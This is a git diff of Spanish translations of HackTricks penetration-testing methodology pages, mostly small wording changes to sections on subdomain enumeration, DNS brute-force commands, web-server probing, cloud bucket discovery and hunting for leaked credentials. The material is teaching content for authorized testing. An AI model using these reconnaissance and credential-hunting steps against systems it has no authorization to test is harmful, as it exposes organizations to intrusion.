Aparentemente es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y en algún momento **pierdan esa dirección IP pero se olviden de eliminar el registro DNS**. Por lo tanto, simplemente **creando una VM** en una nube (como Digital Ocean) en realidad estarás **tomando el control de algunos subdominios**.
|
||||||
|
|
||||||
[**Esta publicación**](https://kmsec.uk/blog/passive-takeover/) explica una historia al respecto y propone un script que **crea una VM en DigitalOcean**, **obtiene** la **IPv4** de la nueva máquina y **busca en Virustotal registros de subdominio** que apunten a ella.
|
[**Esta publicación**](https://kmsec.uk/blog/passive-takeover/) explica una historia al respecto y propone un script que **crea una VM en DigitalOcean**, **obtiene** la **IPv4** de la nueva máquina y **busca en Virustotal registros de subdominio** que apunten a ella.
|
||||||
|
|
||||||
### **Otras formas**
|
### **Otras maneras**
|
||||||
|
|
||||||
**Ten en cuenta que puedes usar esta técnica para descubrir más nombres de dominio cada vez que encuentres un nuevo dominio.**
|
**Ten en cuenta que puedes usar esta técnica para descubrir más nombres de dominio cada vez que encuentres un nuevo dominio.**
|
||||||
|
|
||||||
|
@ -200,11 +200,11 @@ Podrías acceder al **certificado TLS** de la página web principal, obtener el
|
||||||
|
|
||||||
Verifica algún [toma de dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Tal vez alguna empresa esté **usando algún dominio** pero **perdió la propiedad**. Simplemente regístralo (si es lo suficientemente barato) y avísale a la empresa.
|
Verifica algún [toma de dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Tal vez alguna empresa esté **usando algún dominio** pero **perdió la propiedad**. Simplemente regístralo (si es lo suficientemente barato) y avísale a la empresa.
|
||||||
|
|
||||||
Si encuentras algún **dominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en ejecución, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
|
Si encuentras algún **dominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en funcionamiento, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
|
||||||
_Ten en cuenta que a veces el dominio está alojado dentro de una IP que no es controlada por el cliente, así que no está en el alcance, ten cuidado._
|
_Ten en cuenta que a veces el dominio está alojado dentro de una IP que no es controlada por el cliente, así que no está en el alcance, ten cuidado._
|
||||||
|
|
||||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||||
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una plataforma premium de **bug bounty creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
|
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una **plataforma de bug bounty premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
|
@ -344,7 +344,7 @@ Este proyecto ofrece **gratis todos los subdominios relacionados con programas d
|
||||||
|
|
||||||
Puedes encontrar una **comparación** de muchas de estas herramientas aquí: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
Puedes encontrar una **comparación** de muchas de estas herramientas aquí: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||||
|
|
||||||
### **Fuerza bruta de DNS**
|
### **Fuerza bruta DNS**
|
||||||
|
|
||||||
Intentemos encontrar nuevos **subdominios** forzando servidores DNS usando posibles nombres de subdominio.
|
Intentemos encontrar nuevos **subdominios** forzando servidores DNS usando posibles nombres de subdominio.
|
||||||
|
|
||||||
|
@ -358,9 +358,9 @@ Para esta acción necesitarás algunas **listas de palabras comunes de subdomini
|
||||||
|
|
||||||
Y también IPs de buenos resolutores DNS. Para generar una lista de resolutores DNS de confianza, puedes descargar los resolutores de [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) y usar [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrarlos. O podrías usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
Y también IPs de buenos resolutores DNS. Para generar una lista de resolutores DNS de confianza, puedes descargar los resolutores de [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) y usar [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrarlos. O podrías usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||||
|
|
||||||
Las herramientas más recomendadas para fuerza bruta de DNS son:
|
Las herramientas más recomendadas para fuerza bruta DNS son:
|
||||||
|
|
||||||
* [**massdns**](https://github.com/blechschmidt/massdns): Esta fue la primera herramienta que realizó una fuerza bruta de DNS efectiva. Es muy rápida, sin embargo, es propensa a falsos positivos.
|
* [**massdns**](https://github.com/blechschmidt/massdns): Esta fue la primera herramienta que realizó una fuerza bruta DNS efectiva. Es muy rápida, sin embargo, es propensa a falsos positivos.
|
||||||
```bash
|
```bash
|
||||||
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||||
|
@ -370,7 +370,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||||
```
|
```
|
||||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||||
```
|
```
|
||||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) es un envoltorio alrededor de `massdns`, escrito en go, que te permite enumerar subdominios válidos utilizando bruteforce activo, así como resolver subdominios con manejo de comodines y soporte fácil de entrada-salida.
|
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) es un envoltorio alrededor de `massdns`, escrito en go, que te permite enumerar subdominios válidos utilizando fuerza bruta activa, así como resolver subdominios con manejo de comodines y soporte fácil de entrada-salida.
|
||||||
```
|
```
|
||||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||||
```
|
```
|
||||||
|
@ -390,8 +390,8 @@ Después de haber encontrado subdominios utilizando fuentes abiertas y fuerza br
|
||||||
```bash
|
```bash
|
||||||
cat subdomains.txt | dnsgen -
|
cat subdomains.txt | dnsgen -
|
||||||
```
|
```
|
||||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Dado los dominios y subdominios, genera permutaciones.
|
* [**goaltdns**](https://github.com/subfinder/goaltdns): Dadas las dominios y subdominios, genera permutaciones.
|
||||||
* Puedes obtener la **wordlist** de permutaciones de goaltdns **aquí** en [**aquí**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
* Puedes obtener la **wordlist** de permutaciones de goaltdns **aquí** [**aquí**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||||
```bash
|
```bash
|
||||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||||
```
|
```
|
||||||
|
@ -400,7 +400,7 @@ goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3
|
||||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||||
```
|
```
|
||||||
* [**altdns**](https://github.com/infosec-au/altdns): Aparte de generar permutaciones de subdominios, también puede intentar resolverlos (pero es mejor usar las herramientas comentadas anteriormente).
|
* [**altdns**](https://github.com/infosec-au/altdns): Aparte de generar permutaciones de subdominios, también puede intentar resolverlos (pero es mejor usar las herramientas comentadas anteriormente).
|
||||||
* Puedes obtener la **wordlist** de permutaciones de altdns **aquí** [**here**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
* Puedes obtener las permutaciones de altdns **wordlist** en [**aquí**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
||||||
```
|
```
|
||||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||||
```
|
```
|
||||||
|
@ -481,14 +481,14 @@ Verifica posibles [**tomas de control de subdominios**](../../pentesting-web/dom
|
||||||
Si el **subdominio** está apuntando a algún **bucket S3**, [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/).
|
Si el **subdominio** está apuntando a algún **bucket S3**, [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||||
|
|
||||||
Si encuentras algún **subdominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén corriendo, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
|
Si encuentras algún **subdominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén corriendo, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
|
||||||
_Ten en cuenta que a veces el subdominio está alojado dentro de una IP que no está controlada por el cliente, así que no está en el alcance, ten cuidado._
|
_Ten en cuenta que a veces el subdominio está alojado dentro de una IP que no es controlada por el cliente, así que no está en el alcance, ten cuidado._
|
||||||
|
|
||||||
## IPs
|
## IPs
|
||||||
|
|
||||||
En los pasos iniciales podrías haber **encontrado algunos rangos de IP, dominios y subdominios**.\
|
En los pasos iniciales podrías haber **encontrado algunos rangos de IP, dominios y subdominios**.\
|
||||||
Es hora de **recolectar todas las IPs de esos rangos** y para los **dominios/subdominios (consultas DNS).**
|
Es hora de **recolectar todas las IPs de esos rangos** y para los **dominios/subdominios (consultas DNS).**
|
||||||
|
|
||||||
Usando servicios de las siguientes **APIs gratuitas** también puedes encontrar **IPs anteriores utilizadas por dominios y subdominios**. Estas IPs podrían seguir siendo propiedad del cliente (y podrían permitirte encontrar [**bypass de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
Usando servicios de las siguientes **apis gratuitas** también puedes encontrar **IPs anteriores utilizadas por dominios y subdominios**. Estas IPs podrían seguir siendo propiedad del cliente (y podrían permitirte encontrar [**bypass de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||||
|
|
||||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||||
|
|
||||||
|
@ -508,7 +508,7 @@ En los pasos anteriores probablemente ya hayas realizado algún **reconocimiento
|
||||||
|
|
||||||
Por favor, ten en cuenta que esto estará **orientado a la descubrimiento de aplicaciones web**, así que deberías **realizar el escaneo de vulnerabilidades** y **escaneo de puertos** también (**si está permitido** por el alcance).
|
Por favor, ten en cuenta que esto estará **orientado a la descubrimiento de aplicaciones web**, así que deberías **realizar el escaneo de vulnerabilidades** y **escaneo de puertos** también (**si está permitido** por el alcance).
|
||||||
|
|
||||||
Un **método rápido** para descubrir **puertos abiertos** relacionados con **servidores** web usando [**masscan** se puede encontrar aquí](../pentesting-network/#http-port-discovery).\
|
Un **método rápido** para descubrir **puertos abiertos** relacionados con **servidores web** usando [**masscan** se puede encontrar aquí](../pentesting-network/#http-port-discovery).\
|
||||||
Otra herramienta amigable para buscar servidores web es [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) y [**httpx**](https://github.com/projectdiscovery/httpx). Solo pasas una lista de dominios y tratará de conectarse al puerto 80 (http) y 443 (https). Además, puedes indicar que intente otros puertos:
|
Otra herramienta amigable para buscar servidores web es [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) y [**httpx**](https://github.com/projectdiscovery/httpx). Solo pasas una lista de dominios y tratará de conectarse al puerto 80 (http) y 443 (https). Además, puedes indicar que intente otros puertos:
|
||||||
```bash
|
```bash
|
||||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||||
|
@ -518,7 +518,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||||
|
|
||||||
Ahora que has descubierto **todos los servidores web** presentes en el alcance (entre las **IPs** de la empresa y todos los **dominios** y **subdominios**) probablemente **no sepas por dónde empezar**. Así que, hagámoslo simple y comencemos tomando capturas de pantalla de todos ellos. Solo con **echar un vistazo** a la **página principal** puedes encontrar **puntos finales extraños** que son más **propensos** a ser **vulnerables**.
|
Ahora que has descubierto **todos los servidores web** presentes en el alcance (entre las **IPs** de la empresa y todos los **dominios** y **subdominios**) probablemente **no sepas por dónde empezar**. Así que, hagámoslo simple y comencemos tomando capturas de pantalla de todos ellos. Solo con **echar un vistazo** a la **página principal** puedes encontrar **puntos finales extraños** que son más **propensos** a ser **vulnerables**.
|
||||||
|
|
||||||
Para llevar a cabo la idea propuesta, puedes usar [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) o [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
Para llevar a cabo la idea propuesta puedes usar [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) o [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||||
|
|
||||||
Además, podrías usar [**eyeballer**](https://github.com/BishopFox/eyeballer) para revisar todas las **capturas de pantalla** y decirte **qué es probable que contenga vulnerabilidades**, y qué no.
|
Además, podrías usar [**eyeballer**](https://github.com/BishopFox/eyeballer) para revisar todas las **capturas de pantalla** y decirte **qué es probable que contenga vulnerabilidades**, y qué no.
|
||||||
|
|
||||||
|
@ -534,13 +534,13 @@ También necesitarás listas de palabras de **palabras comunes utilizadas en buc
|
||||||
|
|
||||||
Luego, con esas palabras deberías generar **permutaciones** (consulta el [**Segundo Ronda de Fuerza Bruta DNS**](./#second-dns-bruteforce-round) para más información).
|
Luego, con esas palabras deberías generar **permutaciones** (consulta el [**Segundo Ronda de Fuerza Bruta DNS**](./#second-dns-bruteforce-round) para más información).
|
||||||
|
|
||||||
Con las listas de palabras resultantes, podrías usar herramientas como [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **o** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
Con las listas de palabras resultantes podrías usar herramientas como [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **o** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||||
|
|
||||||
Recuerda que al buscar Activos en la Nube, debes **buscar más que solo buckets en AWS**.
|
Recuerda que al buscar Activos en la Nube debes **buscar más que solo buckets en AWS**.
|
||||||
|
|
||||||
### **Buscando vulnerabilidades**
|
### **Buscando vulnerabilidades**
|
||||||
|
|
||||||
Si encuentras cosas como **buckets abiertos o funciones de nube expuestas**, deberías **acceder a ellas** y tratar de ver qué te ofrecen y si puedes abusar de ellas.
|
Si encuentras cosas como **buckets abiertos o funciones de nube expuestas** deberías **acceder a ellos** y tratar de ver qué te ofrecen y si puedes abusar de ellos.
|
||||||
|
|
||||||
## Correos Electrónicos
|
## Correos Electrónicos
|
||||||
|
|
||||||
|
@ -568,14 +568,14 @@ Si encuentras credenciales **filtradas válidas**, esta es una victoria muy fác
|
||||||
|
|
||||||
## Filtraciones de Secretos
|
## Filtraciones de Secretos
|
||||||
|
|
||||||
Las filtraciones de credenciales están relacionadas con hacks de empresas donde **se filtró y vendió información sensible**. Sin embargo, las empresas pueden verse afectadas por **otras filtraciones** cuya información no está en esas bases de datos:
|
Las filtraciones de credenciales están relacionadas con hacks de empresas donde **información sensible fue filtrada y vendida**. Sin embargo, las empresas pueden verse afectadas por **otras filtraciones** cuya información no está en esas bases de datos:
|
||||||
|
|
||||||
### Filtraciones de Github
|
### Filtraciones de Github
|
||||||
|
|
||||||
Las credenciales y APIs pueden estar filtradas en los **repositorios públicos** de la **empresa** o de los **usuarios** que trabajan para esa empresa de github.\
|
Las credenciales y APIs pueden haber sido filtradas en los **repositorios públicos** de la **empresa** o de los **usuarios** que trabajan para esa empresa de github.\
|
||||||
Puedes usar la **herramienta** [**Leakos**](https://github.com/carlospolop/Leakos) para **descargar** todos los **repos públicos** de una **organización** y de sus **desarrolladores** y ejecutar [**gitleaks**](https://github.com/zricethezav/gitleaks) sobre ellos automáticamente.
|
Puedes usar la **herramienta** [**Leakos**](https://github.com/carlospolop/Leakos) para **descargar** todos los **repos públicos** de una **organización** y de sus **desarrolladores** y ejecutar [**gitleaks**](https://github.com/zricethezav/gitleaks) sobre ellos automáticamente.
|
||||||
|
|
||||||
**Leakos** también se puede usar para ejecutar **gitleaks** contra todo el **texto** proporcionado **URLs pasadas** a ella, ya que a veces **las páginas web también contienen secretos**.
|
**Leakos** también puede ser utilizado para ejecutar **gitleaks** contra todo el **texto** proporcionado **URLs pasadas** a él, ya que a veces **las páginas web también contienen secretos**.
|
||||||
|
|
||||||
#### Dorks de Github
|
#### Dorks de Github
|
||||||
|
|
||||||
|
@ -587,14 +587,14 @@ Consulta también esta **página** para posibles **dorks de github** que podría
|
||||||
|
|
||||||
### Filtraciones de Pastas
|
### Filtraciones de Pastas
|
||||||
|
|
||||||
A veces, los atacantes o simplemente los trabajadores **publicarán contenido de la empresa en un sitio de paste**. Esto puede o no contener **información sensible**, pero es muy interesante buscarlo.\
|
A veces, atacantes o simplemente trabajadores **publicarán contenido de la empresa en un sitio de paste**. Esto puede o no contener **información sensible**, pero es muy interesante buscarlo.\
|
||||||
Puedes usar la herramienta [**Pastos**](https://github.com/carlospolop/Pastos) para buscar en más de 80 sitios de paste al mismo tiempo.
|
Puedes usar la herramienta [**Pastos**](https://github.com/carlospolop/Pastos) para buscar en más de 80 sitios de paste al mismo tiempo.
|
||||||
|
|
||||||
### Dorks de Google
|
### Dorks de Google
|
||||||
|
|
||||||
Los viejos pero buenos dorks de Google siempre son útiles para encontrar **información expuesta que no debería estar allí**. El único problema es que la [**base de datos de hacking de google**](https://www.exploit-db.com/google-hacking-database) contiene varios **miles** de posibles consultas que no puedes ejecutar manualmente. Así que, puedes obtener tus 10 favoritas o podrías usar una **herramienta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para ejecutarlas todas**.
|
Los dorks de google, aunque viejos, siempre son útiles para encontrar **información expuesta que no debería estar allí**. El único problema es que la [**base de datos de hacking de google**](https://www.exploit-db.com/google-hacking-database) contiene varios **miles** de posibles consultas que no puedes ejecutar manualmente. Así que, puedes obtener tus 10 favoritas o podrías usar una **herramienta como** [**Gorks**](https://github.com/carlospolop/Gorks) **para ejecutarlas todas**.
|
||||||
|
|
||||||
_Ten en cuenta que las herramientas que esperan ejecutar toda la base de datos usando el navegador regular de Google nunca terminarán, ya que Google te bloqueará muy, muy pronto._
|
_Ten en cuenta que las herramientas que esperan ejecutar toda la base de datos usando el navegador regular de Google nunca terminarán, ya que Google te bloqueará muy pronto._
|
||||||
|
|
||||||
### **Buscando vulnerabilidades**
|
### **Buscando vulnerabilidades**
|
||||||
|
|
||||||
|
@ -602,7 +602,7 @@ Si encuentras credenciales o tokens de API **filtrados válidos**, esta es una v
|
||||||
|
|
||||||
## Vulnerabilidades de Código Público
|
## Vulnerabilidades de Código Público
|
||||||
|
|
||||||
Si encontraste que la empresa tiene **código de código abierto**, puedes **analizarlo** y buscar **vulnerabilidades** en él.
|
Si descubriste que la empresa tiene **código de código abierto**, puedes **analizarlo** y buscar **vulnerabilidades** en él.
|
||||||
|
|
||||||
**Dependiendo del lenguaje**, hay diferentes **herramientas** que puedes usar:
|
**Dependiendo del lenguaje**, hay diferentes **herramientas** que puedes usar:
|
||||||
|
|
||||||
|
@ -618,7 +618,7 @@ También hay servicios gratuitos que te permiten **escanear repositorios públic
|
||||||
|
|
||||||
La **mayoría de las vulnerabilidades** encontradas por cazadores de bugs residen dentro de **aplicaciones web**, así que en este punto me gustaría hablar sobre una **metodología de pruebas de aplicaciones web**, y puedes [**encontrar esta información aquí**](../../network-services-pentesting/pentesting-web/).
|
La **mayoría de las vulnerabilidades** encontradas por cazadores de bugs residen dentro de **aplicaciones web**, así que en este punto me gustaría hablar sobre una **metodología de pruebas de aplicaciones web**, y puedes [**encontrar esta información aquí**](../../network-services-pentesting/pentesting-web/).
|
||||||
|
|
||||||
También quiero hacer una mención especial a la sección [**Herramientas de escaneo automático de código abierto**](../../network-services-pentesting/pentesting-web/#automatic-scanners), ya que, si no deberías esperar que encuentren vulnerabilidades muy sensibles, son útiles para implementarlas en **flujos de trabajo para tener alguna información web inicial.**
|
También quiero hacer una mención especial a la sección [**Herramientas de escaneo automático de código abierto**](../../network-services-pentesting/pentesting-web/#automatic-scanners), ya que, aunque no deberías esperar que encuentren vulnerabilidades muy sensibles, son útiles para implementarlas en **flujos de trabajo para tener alguna información web inicial.**
|
||||||
|
|
||||||
## Recapitulación
|
## Recapitulación
|
||||||
|
|
||||||
|
@ -649,7 +649,7 @@ Hay varias herramientas que realizarán parte de las acciones propuestas contra
|
||||||
|
|
||||||
* Todos los cursos gratuitos de [**@Jhaddix**](https://twitter.com/Jhaddix) como [**La Metodología del Cazador de Bugs v4.0 - Edición Recon**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
* Todos los cursos gratuitos de [**@Jhaddix**](https://twitter.com/Jhaddix) como [**La Metodología del Cazador de Bugs v4.0 - Edición Recon**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# Metodología de Pentesting
|
# Metodología de Pentesting
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprende y practica AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprende y practica Hacking en AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprende y practica GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprende y practica Hacking en GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,7 +15,7 @@ Aprende y practica GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" da
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
|
@ -97,7 +97,7 @@ Probablemente necesitarás **extraer algunos datos de la víctima** o incluso **
|
||||||
|
|
||||||
#### **10.1- Privesc Local**
|
#### **10.1- Privesc Local**
|
||||||
|
|
||||||
Si no eres **root/Administrador** dentro de la caja, deberías encontrar una manera de **escalar privilegios.**\
|
Si no eres **root/Administrador** dentro de la máquina, deberías encontrar una manera de **escalar privilegios.**\
|
||||||
Aquí puedes encontrar una **guía para escalar privilegios localmente en** [**Linux**](../linux-hardening/privilege-escalation/) **y en** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
Aquí puedes encontrar una **guía para escalar privilegios localmente en** [**Linux**](../linux-hardening/privilege-escalation/) **y en** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||||
También deberías revisar estas páginas sobre cómo funciona **Windows**:
|
También deberías revisar estas páginas sobre cómo funciona **Windows**:
|
||||||
|
|
||||||
|
@ -151,15 +151,15 @@ Revisa también la página sobre [**NTLM**](../windows-hardening/ntlm/), podría
|
||||||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||||
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprende y practica AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprende y practica Hacking en AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprende y practica GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprende y practica Hacking en GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
